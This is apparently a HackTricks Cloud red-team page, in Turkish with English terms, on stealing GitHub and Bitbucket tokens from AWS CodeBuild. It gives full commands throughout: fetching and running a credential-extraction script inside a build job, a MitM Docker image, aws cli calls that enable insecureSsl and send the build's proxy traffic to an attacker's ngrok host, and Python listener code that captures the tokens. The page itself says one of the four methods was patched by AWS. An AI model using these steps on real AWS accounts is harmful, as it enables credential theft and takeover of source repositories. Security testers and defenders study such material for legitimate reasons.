AWS Codebuild - Token Leakage
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Recover Github/Bitbucket Configured Tokens
İlk olarak, leak edebileceğiniz herhangi bir source credentials yapılandırılmış mı kontrol edin:
aws codebuild list-source-credentials
CodeBuild Job içinde RCE ile
CodeBuild job içinden, CodeBuild tarafından kullanılan kimlik bilgilerini döndürecek belgelenmemiş bir AWS CodeBuild API endpoint’ine erişebilirsiniz. Bu, CodeBuild job’unun oluşturulurken ayarlandığı kimlik bilgilerini (ör. AWS CodeConnection kimlik bilgileri, OAUTH veya PAT kimlik bilgileri) elde etmek için kullanılabilir. CodeBuild job’unun bu endpoint’e erişmek için ayrıcalıklı olması gerekmez ve CodeBuild’in kendisi bu endpoint’i başlatma sırasında birkaç kez çağırdığı için loglama ve izlemede tespit edilmesi zordur.
Teknik daha fazla şu adreste açıklanmıştır https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/ ancak özetle CodeBuild job içinde kimlik bilgilerini elde etmek için sadece aşağıdakini çalıştırmanız yeterlidir:
python -m pip install botocore boto3 requests
wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
python ./GetBuildInfo.py
Via Docker Image
Eğer örneğin Github için kimlik doğrulaması hesabın içinde ayarlıysa, proje build’ini çalıştırmak için Codebuild’in use an specific docker image kullanmasını sağlayarak o exfiltrate edebilirsiniz ve böylece o access (GH token or OAuth token) elde edilebilir.
Bu amaçla create a new Codebuild project yapabilir veya mevcut bir projenin environment’ını değiştirerek Docker image’ı ayarlayabilirsiniz.
Kullanabileceğiniz Docker image şu repo: https://github.com/carlospolop/docker-mitm. Bu çok temel bir Docker image olup env variables https_proxy, http_proxy ve SSL_CERT_FILE’ı ayarlar. Bu, https_proxy ve http_proxy ile belirtilen host’un trafiğinin çoğunu ve SSL_CERT_FILE ile belirtilen SSL sertifikasına güvenmeyi yakalamanıza olanak tanır.
- Create & Upload your own Docker MitM image
- Repo talimatlarını takip ederek proxy IP adresinizi ayarlayın ve SSL sertifikanızı belirleyip build the docker image.
- Metadata endpoint’ine yapılan istekleri yakalamamak için DO NOT SET
http_proxy. - Proxy’yi kendi host’unuza yönlendirmek için
ngrokgibi bir şey kullanabilirsiniz, örn.ngrok tcp 4444 - Docker image’ı oluşturduktan sonra, upload it to a public repo (Dockerhub, ECR…) yapın.
- Set the environment
- Yeni bir new Codebuild project oluşturun veya mevcut bir projenin modify edilmiş environment’ını ayarlayın.
- Projeyi daha önce oluşturduğunuz previously generated Docker image’ı kullanacak şekilde ayarlayın.
.png)
- Set the MitM proxy in your host
- Github repo’da belirtildiği gibi şu şekilde bir şey kullanabilirsiniz:
mitmproxy --listen-port 4444 --allow-hosts "github.com"
Tip
mitmproxy sürümü 9.0.1 kullanıldı, sürüm 10’da bunun çalışmayabileceği bildirildi.
- Build’i çalıştırın & kimlik bilgilerini yakalayın
- Token’i Authorization başlığında görebilirsiniz:
.png)
Bu, aws cli üzerinden şöyle de yapılabilir:
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}
## Json
# Start the build
aws codebuild start-build --project-name my-project2
insecureSSL üzerinden
Codebuild projelerinin web arayüzünde gizli olan ve yalnızca API üzerinden değiştirilebilen insecureSsl adında bir ayarı vardır.
Bu ayarı etkinleştirmek, Codebuild’in platformun sunduğu sertifikayı kontrol etmeden repository’ye bağlanmasına izin verir.
- İlk olarak mevcut yapılandırmayı aşağıdakine benzer bir komutla enumerate etmeniz gerekir:
aws codebuild batch-get-projects --name <proj-name>
- Daha sonra, toplanan bilgilerle proje ayarını
insecureSslolarakTrueyapabilirsiniz. Aşağıda projenin güncellenmesine bir örnek var; sonundakiinsecureSsl=Trueöğesine dikkat edin (toplanan yapılandırmadan değiştirmeniz gereken tek şey budur). - Ayrıca, tcp ngrok’unuza işaret edecek şekilde http_proxy ve https_proxy env değişkenlerini de ekleyin:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
- Ardından, proxy değişkenlerinin (http_proxy ve https_proxy) işaret ettiği portta https://github.com/synchronizing/mitm adresindeki temel örneği çalıştırın
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Son olarak, Build the project’e tıklayın; credentials mitm portuna sent in clear text (base64) olarak gönderilecek:
 (1).png)
HTTP protokolü ile
[!TIP] > Bu zafiyet AWS tarafından 20 Şubat 2023 haftasında (sanırım Cuma günü) düzeltildi. Yani bir saldırgan artık bunu kötüye kullanamaz :)
CodeBuild üzerinde yükseltilmiş izinlere sahip bir saldırgan, yapılandırılmış Github/Bitbucket token’ını leak edebilir veya izinler OAuth ile yapılandırılmışsa, koda erişmek için kullanılan temporary OAuth token’ı leak edebilir.
- Bir saldırgan, CodeBuild projesine ortam değişkenleri http_proxy ve https_proxy ekleyip bunları kendi makinesine işaret edebilir (örneğin
http://5.tcp.eu.ngrok.io:14972).
.png)
.png)
- Sonra, github deposunun URL’sini HTTPS yerine HTTP kullanacak şekilde değiştirin, örneğin:
http://github.com/carlospolop-forks/TestActions - Ardından, proxy değişkenlerinin (http_proxy ve https_proxy) gösterdiği portta https://github.com/synchronizing/mitm adresindeki basic örneği çalıştırın.
from mitm import MITM, protocol, middleware, crypto
mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
- Sonra, Projeyi derle düğmesine tıklayın veya komut satırından derlemeyi başlatın:
aws codebuild start-build --project-name <proj-name>
- Son olarak, credentials açık metin (base64) olarak mitm portuna gönderilecek:
.png)
Warning
Artık bir attacker, kendi makinesinden token’ı kullanabilecek, sahip olduğu tüm ayrıcalıkları listeleyebilecek ve CodeBuild servisini doğrudan kullanmaktan daha kolay şekilde (ab)use edebilecek.
Untrusted PR execution via webhook filter misconfiguration
For the PR-triggered webhook bypass chain (ACTOR_ACCOUNT_ID regex + untrusted PR execution), check:
AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

